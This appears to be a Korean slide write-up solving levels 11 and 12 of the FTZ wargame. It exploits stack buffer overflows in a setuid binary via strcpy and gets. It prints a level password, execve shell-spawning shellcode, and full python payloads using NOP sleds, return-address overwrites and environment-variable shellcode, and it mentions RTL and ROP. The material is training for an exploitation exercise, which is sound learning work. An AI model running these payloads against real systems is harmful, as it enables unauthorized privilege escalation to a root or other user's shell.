FTZ 과제풀이 Level 11,12 HyunJae Lee 11. 05. 2018
FTZ - level 11 * 로그인 및 내부 파일 확인 level11 passwd: what!@#$?
FTZ - level 11 * Hint file 확인 - 256 byte 크기의 배열을 선언하고, setreuid를 통해 프로그램이 실행될시 획득하는 권한 설정 (3092 = level12) - 그후 strcpy로 main의 2번째 인자를 str 배열에 복사하고, str 출력함 strcpy 함수 사용 시 인자로 *argv[1] 를 받게될 때 bof 취약점 발생 *argv[1] 크기는 정해져 있지 않기 때문에 값을 무한정 입력 받을 수 있음
FTZ - level 11 * 디버깅을 통해 stack 구조 확인 > 그전에 먼저 tmp 폴더에 복사해야함 (권한때문에 현재 파일에서 디버깅 안됨) setuid | setgid bit가 걸려있으면 디버거는 ptrace를 사용하기때문에 내부적으로 ptrace에서 에러를 뿜기때문에
FTZ - level 11 * 디버깅을 통해 stack 구조 확인 처음 esp는 ebp로 부터 0x108, 0x8 만큼 떨어진 거리에 두 차례에 거쳐 이동한다. = str 배열의 공간이 할당됨 str의 시작 지점을 알기위해 strcpy, 와 printf 함수에 전달되는 인자들을 확인 두 함수에서 모두 [ebp-264] 지점을 참조 str 크기 256보다 더 멀리떨어진 곳에 str 시작주소가 있음 = dummy 존재 낮은주소 높은주소
FTZ - level 11 *최종 stack 구조 와 payload 구성 AAAA AAAA....... 268 byte Attack point 4 byte ret 까지 264(str[256] + dummy[8]) byte+ 4(ebp[4] = 268 byte 를 임의의 값으로 덮어쓴다 ret 주소를 공격자가 원하는 주소로 덮어준다 -payload 구성 (임의의 문자열) 268 byte + (원하는 주소) 4 byte
FTZ - level 11 ret에 내가 원하는 주소를 덮어쓰면 어디든 이동한다 > 어떤 주소를 넣어야 하는가 ? * 공격 아이디어 배경 ret에 내가 원하는 주소를 덮어쓰면 어디든 이동한다 > 어떤 주소를 넣어야 하는가 ? > 주로 쓰는 방법 : shellcode가 있는 주소 = shellcode > 프로그램을 실행 시켜주는 기계어 코드 덩어리 (shellcode라고 불리는 이유는 주로 shell을 띄워 제어하는 경우가 많기 때문) = 쉘을 띄우는 이유? 권한이 높은 프로그램에서 shellcode를 호출하여 권한 상승공격을 시도함 ( 권한이 높은 프로그램에서 exev*류 함수로 shell 프로그램을 실행 시키면, 실행중인 프로그램의 권한을 쓸 수 있음)
FTZ - level 11 * 공격아이디어 ret 주소에 shellcode 주소를 넣는건 알겠으나 어디에 shellcode를 넣는가 ? buf ebp ret argc arv[0] ........ env 1. buf 공간에 넣기 > level 11 2. 환경변수에 등록하기 > level 12 환경변수 란? 프로세스가 컴퓨터에서 동작하는 방식에 영향을 미치는 동적인 값들의 모임으로 쉘에서 정의되고 실행하는 동안 프로그램에 필요한 변수들을 의미 = 사용자가 등록한 환경변수도 프로세스에 올라갈 수 있다.
FTZ - level 11 * 1. buf 공간에 shellcode 삽입 후 ret 주소에 덮어쓰는 방법 shellcode : \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 -payload (임의의 문자열) 268 byte + (원하는 주소) 4 byte "\x90"(NOPcode) * 227byte + shellcode 41 byte + str의 공간의 주소
FTZ - level 11 * str의 주소를 찾는 방법? = 디버깅을 통해 찾을 수 있다. main 함수에 중단점을설정 후에 다음과 같이 디버깅시 인자를 줄 수 있다. esp 레지스터 시작으로 부터 160 바이트 씩 출력하며 4바이트 단위 16진수로 출력한다.
FTZ - level 11 * 최종 payload "\x90"(NOPcode) * 227byte + shellcode 41 byte + str의 공간의 주소(0xbffffbdc) ./attackme `python -c 'print "\x90"*227 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\xdc\xfb\xff\xbf"'`
FTZ - level 12 * level 11번과 동일하게 진행 str 배열의 크기 동일 대신 입력 받는 형식이 strcpy > gets로 변경되었음
FTZ - level 12 * 11번과 동일한 과정으로 tmp 폴더에 복사 후 디버깅 level11 과 stack 구조가 동일한 것을 알 수 있다.
FTZ - level 12 * 환경변수를 이용한 풀이 export 명령어로 현재 선언된 환경변수들의 이름과 내용을 볼 수 있다.
FTZ - level 12 * 환경변수를 이용한 풀이 - 환경변수 선언 후 확인 =쉘코드가 들어간 환경변수 선언하기 export SHELLCODE=$(python -c 'print "\x90"*200 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"') | 는 파이프를 의미한다. export의 결과를 grep 이라는 명령어의 입력값으로 주고 grep 명령어는 export의 결과 파일에서 일치하는 문자열을 찾아주는 명령어 이다.
FTZ - level 12 2. C Code 를 이용한 방법 * 환경변수를 이용한 풀이 - 환경변수의 위치찾기 1. 디버깅 환경변수 설정시 \x90(NOPcode)를 많이 삽입한 것은 level11번 문제를 푸는 것과 동일한 방법이다. 해당 방법을 통해 환경변수의 위치를 디버깅으로 쉽게 찾을수 있다. = 배운것을 복습하며 한번 해보시는 것을 권장드립니다. C언어 에는 getenv() 라는 함수가 존재하는데, 해당함수는 인자로 환경변수의 이름을 주고 환경변수가 위치하는 주소를 반환한다 > 원래는 해당하는 이름의 환경변수의 값을 가져오는 용도로 씀
FTZ - level 12 * 환경변수를 이용한 풀이 - 환경변수의 주소 찾기
FTZ - level 12 (임의의 문자열) 268 byte + (원하는 주소) 4 byte * 최종 payload (임의의 문자열) 268 byte + (원하는 주소) 4 byte (임의의 문자열) 268 byte + (SHELLCODE 환경변수의 주소) 4 byte * level 11번과 차이점 : level11은 argv[1] 인자를 strcpy로 str 배열에 복사함 level12는 gets 함수로 표준 입력값을 입력받아 str 배열에 저장함 따라서 값을 주는 방법 이 다름 (python -c 'print "a"*268 + "\x4a\xfb\xff\xbf"'; cat) | ./attackme
FTZ - level 12 * 최종 결과
참고 *소소한 팁 매번 메모장에 payload 복붙이 귀찮다. > 스크립트 작성
참고 *RTL 을 이용한 풀이 ret 주소에 shellcode가 아닌 (stack의 주소가 아닌) lib함수의 주소를 준다면?
참고 *ROP 을 이용한 풀이 ret 주소에 shellcode가 아닌 (stack의 주소가 아닌) lib함수의 주소를 준다면? > lib 함수를 못 쓴다면, 명령어 조각들의 주소를 준다면 ?
참고 * shellcode 만들기 - https://www.lazenca.net/display/TEC/01.The+basics+technic+of+Shellcode >해당 블로그에 exploit tech 문서들이 많음 * 참고한 shellcode 블로그 - http://suspected.tistory.com/81 * 환경 변수 정의 : wiki 및 구글링 참조
Thank You !